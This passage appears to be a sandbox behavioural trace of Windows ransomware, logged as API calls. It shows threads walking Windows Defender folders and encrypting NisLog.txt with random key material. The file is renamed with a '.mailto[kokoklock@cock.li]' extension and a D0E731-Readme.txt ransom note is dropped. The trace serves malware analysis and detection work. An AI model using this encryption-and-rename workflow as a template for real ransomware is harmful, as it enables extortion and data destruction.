ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.256] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0088.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34adaf8) returned 1 [0088.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2960) returned 1 [0088.256] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e23c0) returned 1 [0088.256] RtlExitUserThread (Status=0x0) Thread: id = 1217 os_tid = 0x1040 [0084.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eac30 [0084.321] wcscpy (in: _Dest=0x33eac30, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries" [0084.321] wcscat (in: _Dest=0x33eac30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\" [0084.321] wcscat (in: _Dest=0x33eac30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\*" [0084.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aa608 [0084.321] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Entries\\*", lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc278a841, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0086.599] wcscmp (_String1=".", _String2=".") returned 0 [0086.599] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc278a841, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.599] wcscmp (_String1="..", _String2=".") returned 1 [0086.600] wcscmp (_String1="..", _String2="..") returned 0 [0086.600] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc278a841, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.600] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0086.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aa608) returned 1 [0086.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eac30) returned 1 [0086.600] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c000) returned 1 [0086.600] RtlExitUserThread (Status=0x0) Thread: id = 1218 os_tid = 0x1044 [0084.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6090 [0084.322] wcscpy (in: _Dest=0x33e6090, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData" [0084.322] wcscat (in: _Dest=0x33e6090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\" [0084.322] wcscat (in: _Dest=0x33e6090, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\*" [0084.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aa870 [0084.323] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\ResourceData\\*", lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283e428, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0088.261] wcscmp (_String1=".", _String2=".") returned 0 [0088.261] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283e428, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.261] wcscmp (_String1="..", _String2=".") returned 1 [0088.261] wcscmp (_String1="..", _String2="..") returned 0 [0088.261] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34aa870 | out: lpFindFileData=0x34aa870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283e428, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.261] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0088.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aa870) returned 1 [0088.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6090) returned 1 [0088.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb310) returned 1 [0088.261] RtlExitUserThread (Status=0x0) Thread: id = 1219 os_tid = 0x1048 [0084.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eacd0 [0084.323] wcscpy (in: _Dest=0x33eacd0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources" [0084.323] wcscat (in: _Dest=0x33eacd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources\\" [0084.323] wcscat (in: _Dest=0x33eacd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources\\*" [0084.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aaad8 [0084.323] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore\\Resources\\*", lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283ed5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0088.262] wcscmp (_String1=".", _String2=".") returned 0 [0088.262] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283ed5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.263] wcscmp (_String1="..", _String2=".") returned 1 [0088.263] wcscmp (_String1="..", _String2="..") returned 0 [0088.263] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc283ed5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.263] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0088.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aaad8) returned 1 [0088.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eacd0) returned 1 [0088.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaeb0) returned 1 [0088.263] RtlExitUserThread (Status=0x0) Thread: id = 1220 os_tid = 0x104c [0084.323] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt")) returned 0x20 [0086.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt", dwFileAttributes=0x20) returned 1 [0086.528] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0086.529] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2aebf768 | out: lpFileSize=0x2aebf768*=353) returned 1 [0086.529] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x15d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.529] ReadFile (in: hFile=0x9f0, lpBuffer=0x2aebf73c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x2aebf73c*, lpNumberOfBytesRead=0x2aebf738*=0x4, lpOverlapped=0x0) returned 1 [0086.530] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd08 [0086.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd30 [0086.530] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde48 [0086.530] NtQuerySystemTime (in: CurrentTime=0x2aebf714 | out: CurrentTime=0x2aebf714*=132121176444298899) returned 0x0 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xc9bafcf0 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xb42b70eb [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xcd00aea [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x7cd8ebcd [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x87bca89f [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x27700bf2 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x6d88bbb9 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xbeacb026 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x15a5af52 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x9a0e36f7 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xe5f72833 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xfefb5c92 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x5617468f [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xb55eaa60 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x70f5db50 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xed4d0a8a [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x44e7c535 [0086.530] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x2df3f606 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xdbba92f6 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x5fb5d015 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x4410f7 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x3107bf94 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xbce9cbb7 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xdfdbe3bc [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xa59c8569 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xbc32ca0e [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x9e4d6b45 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xe72c1321 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xea285635 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xe349ec58 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0x493f2172 [0086.531] RtlRandom (in: Seed=0x2aebf720 | out: Seed=0x2aebf720) returned 0xb8f0df34 [0086.541] ReadFile (in: hFile=0x9f0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x2aebf714, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2aebf714*=0x161, lpOverlapped=0x0) returned 1 [0086.541] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aebf6dc | out: lpNewFilePointer=0x0) returned 1 [0086.541] WriteFile (in: hFile=0x9f0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x2aebf710, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2aebf710*=0x161, lpOverlapped=0x0) returned 1 [0086.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.542] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2aebf70c, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2aebf70c*=0x20, lpOverlapped=0x0) returned 1 [0086.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x55dde98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x55dde98*, lpNumberOfBytesWritten=0x2aebf738*=0x8, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x2aebf750*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x2aebf750*, lpNumberOfBytesWritten=0x2aebf738*=0x4, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2aebf738*=0x4, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2aebf738*=0x6c, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x55ddd30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x55ddd30*, lpNumberOfBytesWritten=0x2aebf738*=0x20, lpOverlapped=0x0) returned 1 [0086.542] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2aebf738, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2aebf738*=0x4, lpOverlapped=0x0) returned 1 [0086.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.543] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.543] CloseHandle (hObject=0x9f0) returned 1 [0086.543] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x341da40 [0086.543] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" [0086.543] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.mailto[kokoklock@cock.li].d0e731" [0086.543] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0086.575] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt", dwFileAttributes=0x20) returned 0 [0086.575] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x3485020 [0086.575] wcscpy (in: _Dest=0x3485020, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\" [0086.575] wcscat (in: _Dest=0x3485020, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\D0E731-Readme.txt" [0086.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\d0e731-readme.txt")) returned 0xffffffff [0086.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\network inspection system\\support\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f0 [0086.579] WriteFile (in: hFile=0x9f0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2aebf734, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2aebf734*=0x481, lpOverlapped=0x0) returned 1 [0086.580] CloseHandle (hObject=0x9f0) returned 1 [0086.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3485020) returned 1 [0086.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430800) returned 1 [0086.580] RtlExitUserThread (Status=0x1) Thread: id = 1221 os_tid = 0x1050 [0084.324] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm")) returned 0x20 [0084.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm", dwFileAttributes=0x20) returned 0 [0084.326] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm", dwFileAttributes=0x20) returned 0 [0084.326] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428b48) returned 1 [0084.326] RtlExitUserThread (Status=0x0) Thread: id = 1222 os_tid = 0x105c [0084.325] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm")) returned 0x20 [0084.327] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm", dwFileAttributes=0x20) returned 0 [0084.327] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.327] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm", dwFileAttributes=0x20) returned 0 [0084.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428a90) returned 1 [0084.328] RtlExitUserThread (Status=0x0) Thread: id = 1223 os_tid = 0x1068 [0084.328] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm")) returned 0x20 [0084.329] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm", dwFileAttributes=0x20) returned 0 [0084.329] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.329] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm", dwFileAttributes=0x20) returned 0 [0084.329] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428138) returned 1 [0084.329] RtlExitUserThread (Status=0x0) Thread: id = 1224 os_tid = 0x1178 [0084.330] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm")) returned 0x20 [0084.330] SetFileAttributesW (lpFileName="C:\\Users\\All 